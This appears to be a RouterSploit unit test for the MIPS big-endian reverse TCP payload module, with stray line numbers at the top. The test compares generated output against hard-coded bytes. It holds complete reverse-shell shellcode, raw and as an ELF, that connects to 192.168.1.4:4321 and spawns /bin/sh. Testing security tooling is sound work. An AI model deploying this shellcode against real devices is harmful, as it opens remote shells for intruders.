1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from routersploit.modules.payloads.mipsbe.reverse_tcp import Payload
# mipsbe reverse tcp with lhost=192.168.1.4 lport=4321
reverse_tcp = (
b"\x28\x04\xff\xff\x24\x02\x0f\xa6\x01\x09\x09\x0c\x28\x04\x11"
b"\x11\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80"
b"\x20\x27\x24\x02\x0f\xa6\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01"
b"\x80\x20\x27\x01\x80\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57"
b"\x01\x09\x09\x0c\x30\x44\xff\xff\x24\x02\x0f\xc9\x01\x09\x09"
b"\x0c\x24\x02\x0f\xc9\x01\x09\x09\x0c\x3c\x05\x00\x02\x34\xa5"
b"\x10\xe1\xaf\xa5\xff\xf8\x3c\x05\xc0\xa8\x34\xa5\x01\x04\xaf"
b"\xa5\xff\xfc\x23\xa5\xff\xf8\x24\x0c\xff\xef\x01\x80\x30\x27"
b"\x24\x02\x10\x4a\x01\x09\x09\x0c\x3c\x08\x2f\x2f\x35\x08\x62"
b"\x69\xaf\xa8\xff\xec\x3c\x08\x6e\x2f\x35\x08\x73\x68\xaf\xa8"
b"\xff\xf0\x28\x07\xff\xff\xaf\xa7\xff\xf4\xaf\xa7\xff\xfc\x23"
b"\xa4\xff\xec\x23\xa8\xff\xec\xaf\xa8\xff\xf8\x23\xa5\xff\xf8"
b"\x27\xbd\xff\xec\x28\x06\xff\xff\x24\x02\x0f\xab\x00\x90\x93"
b"\x4c"
)
# elf mipsbe reverse tcp
elf_mipsbe_reverse_tcp = (
b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00"
b"\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00"
b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
b"\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x01\x18\x00\x00\x01"
b"\xdc\x00\x00\x00\x07\x00\x00\x10\x00\x28\x04\xff\xff\x24\x02"
b"\x0f\xa6\x01\x09\x09\x0c\x28\x04\x11\x11\x24\x02\x0f\xa6\x01"
b"\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80\x20\x27\x24\x02\x0f\xa6"
b"\x01\x09\x09\x0c\x24\x0c\xff\xfd\x01\x80\x20\x27\x01\x80\x28"
b"\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x09\x09\x0c\x30\x44"
b"\xff\xff\x24\x02\x0f\xc9\x01\x09\x09\x0c\x24\x02\x0f\xc9\x01"
b"\x09\x09\x0c\x3c\x05\x00\x02\x34\xa5\x10\xe1\xaf\xa5\xff\xf8"
b"\x3c\x05\xc0\xa8\x34\xa5\x01\x04\xaf\xa5\xff\xfc\x23\xa5\xff"
b"\xf8\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x09"
b"\x09\x0c\x3c\x08\x2f\x2f\x35\x08\x62\x69\xaf\xa8\xff\xec\x3c"
b"\x08\x6e\x2f\x35\x08\x73\x68\xaf\xa8\xff\xf0\x28\x07\xff\xff"
b"\xaf\xa7\xff\xf4\xaf\xa7\xff\xfc\x23\xa4\xff\xec\x23\xa8\xff"
b"\xec\xaf\xa8\xff\xf8\x23\xa5\xff\xf8\x27\xbd\xff\xec\x28\x06"
b"\xff\xff\x24\x02\x0f\xab\x00\x90\x93\x4c"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.generate_elf(reverse_tcp) == elf_mipsbe_reverse_tcp